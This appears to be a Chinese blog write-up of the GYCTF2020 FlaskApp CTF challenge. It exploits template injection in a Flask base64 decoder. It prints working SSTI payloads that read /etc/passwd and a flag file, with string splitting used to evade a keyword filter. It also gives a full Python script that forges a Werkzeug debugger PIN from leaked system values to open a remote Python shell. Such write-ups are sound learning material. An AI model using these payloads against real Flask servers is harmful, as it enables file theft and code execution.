热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

记一次Flask模板注入学习[GYCTF2020]FlaskApp

题目已经提示了这题需要进行Flask模板注入,打开题目后是一个用flask写的一个base64加解密应用。官方writeup说看到根据提示1,失败乃成功之母,应该能想到flask的

题目已经提示了这题需要进行Flask模板注入,打开题目后是一个用flask写的一个base64加解密应用。官方write up说看到根据提示1,失败乃成功之母,应该能想到flask的debug模式。但是我当时看到的时候并没有想到是debug模式,这就是没有进行足够积累的后果。

然后习惯性对base64解密页面进行报错实验,发现了部分源码。

 

 提示解密界面存在ssti,且存在waf会过滤掉关键词,然后返回no no no !!。经过测试发现waf过滤的部分关键词包括import、popen、system、eval、flag等。

在加密界面对{{6+6}}进行加密,结果为e3s2KzZ9fQ==,再在解密界面进行解密,发现成功返回了

 

 于是构造语句,{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[\'open\'](\'/etc/passwd\').read()}}进行文件读取

 

 由于不知道flag的存放位置和名字,所以要通过获取pin码打开python shell

PIN 机制在 [Flask debug 模式 PIN 码生成机制安全性研究笔记](https://www.cnblogs.com/HacTF/p/8160076.html) 一文中有详细的研究。

由官方write up总结出,生成PIN的关键值有如下几个:

* 1. 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb

* 2. modname 一般不变就是flask.app

* 3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变

* 4. flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为

 

 

* 5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address 获取:

 

 转换为10进制得:

 

* 6.最后一个就是机器的id。

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。

对于docker机则读取/proc/self/cgroup:

 

 可知,机器id为

 

 于是接下来就是获取PIN值,计算PIN值的关键代码在Lib\site-packages\werkzeug\debug\\_\_init__.py

import hashlib
from itertools import chain
probably_public_bits
= [
\'flaskweb\',
\'flask.app\',
\'Flask\',
\'/usr/local/lib/python3.7/site-packages/flask/app.py\',
]
private_bits
= [
\'2485410391036\',
\'25f34b1b3cf9815ee85b0089a6203547ca22efbdbbc16f0c39d70fb528f773a1\'
]
h
= hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit
= bit.encode(\'utf-8\')
h.update(bit)
h.update(b
\'COOKIEsalt\')
COOKIE_name
= \'__wzd\' + h.hexdigest()[:20]
num
= None
if num is None:
h.update(b
\'pinsalt\')
num
= (\'%09d\' % int(h.hexdigest(), 16))[:9]
rv
=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv
= \'-\'.join(num[x:x + group_size].rjust(group_size, \'0\')
for x in range(0, len(num), group_size))
break
else:
rv
= num
print(rv)

获取PIN值为

 

 打开python shell得到flag


 其实知道了flag的文件名和路径之后也能通过注入语句进行读取{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__[\'open\'](\'/this_is_the_fl\'+\'ag.txt\').read()}},这里涉及到语句拼接,不过在这题有些多此一举了。

[这里放一个有用的链接](https://zhuanlan.zhihu.com/p/28823933)



推荐阅读
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • YOLOv7基于自己的数据集从零构建模型完整训练、推理计算超详细教程
    本文介绍了关于人工智能、神经网络和深度学习的知识点,并提供了YOLOv7基于自己的数据集从零构建模型完整训练、推理计算的详细教程。文章还提到了郑州最低生活保障的话题。对于从事目标检测任务的人来说,YOLO是一个熟悉的模型。文章还提到了yolov4和yolov6的相关内容,以及选择模型的优化思路。 ... [详细]
  • 第38天:Python decimal 模块
    by程序员野客在我们开发工作中浮点类型的使用还是比较普遍的,对于一些涉及资金金额的计算更是不能有丝毫误差,Python的decimal模块为浮点型精确计算提供了支持。1简介deci ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • npmimportuse这里我记录一下,视频地址和封面地址均引用的是服务器端得,本地的视频和图片 ... [详细]
  • UDP协议开发
    UDP是用户数据报协议(UserDatagramProtocol,UDP)的简称,其主要作用是将网络数据流量压缩成数据报形式,提供面向事务的简单信息传送服务。与TCP协议不同,UD ... [详细]
  • 利用ipv6技术,废旧笔记本变成server
    如果你家的路由器已经get到了ipv6地址,并且你家的电脑也获取了有效的ipv6地址,在广域网的设备可以访问到。那恭喜你,再配合我这个dd ... [详细]
  • http://segmentfault.com/a/1190000000440293?page=1#c-1190000000440293-1050000000449039这是博主原帖 ... [详细]
  • 使用Python中的Plotly绘制三维网格图原文:ht ... [详细]
  • linux文件系统和挂载
    创建ISO文件cpdevcdrom目的地.isomkfs命令生成对应·的文件系统但是使用mkfs没有办法修该生成的系统文件的某些特性,例如标记LABEL,如果强行修改会导致文件里面 ... [详细]
  • 实验七、绕过ASLR 第二部分
    7.1实验环境VM配置:Ubuntu12.04(x86)7.2实验原理什么是爆破?使用爆破技巧,来绕过共享库地址随机化。7.3实验过程7. ... [详细]
  • Givenasinglylinkedlist,returnarandomnode'svaluefromthelinkedlist.Eachnodemusthavethe s ... [详细]
  • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
  • 开源Keras Faster RCNN模型介绍及代码结构解析
    本文介绍了开源Keras Faster RCNN模型的环境需求和代码结构,包括FasterRCNN源码解析、RPN与classifier定义、data_generators.py文件的功能以及损失计算。同时提供了该模型的开源地址和安装所需的库。 ... [详细]
  • Python使用Pillow包生成验证码图片的方法
    本文介绍了使用Python中的Pillow包生成验证码图片的方法。通过随机生成数字和符号,并添加干扰象素,生成一幅验证码图片。需要配置好Python环境,并安装Pillow库。代码实现包括导入Pillow包和随机模块,定义随机生成字母、数字和字体颜色的函数。 ... [详细]
author-avatar
xiaodubo1R
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有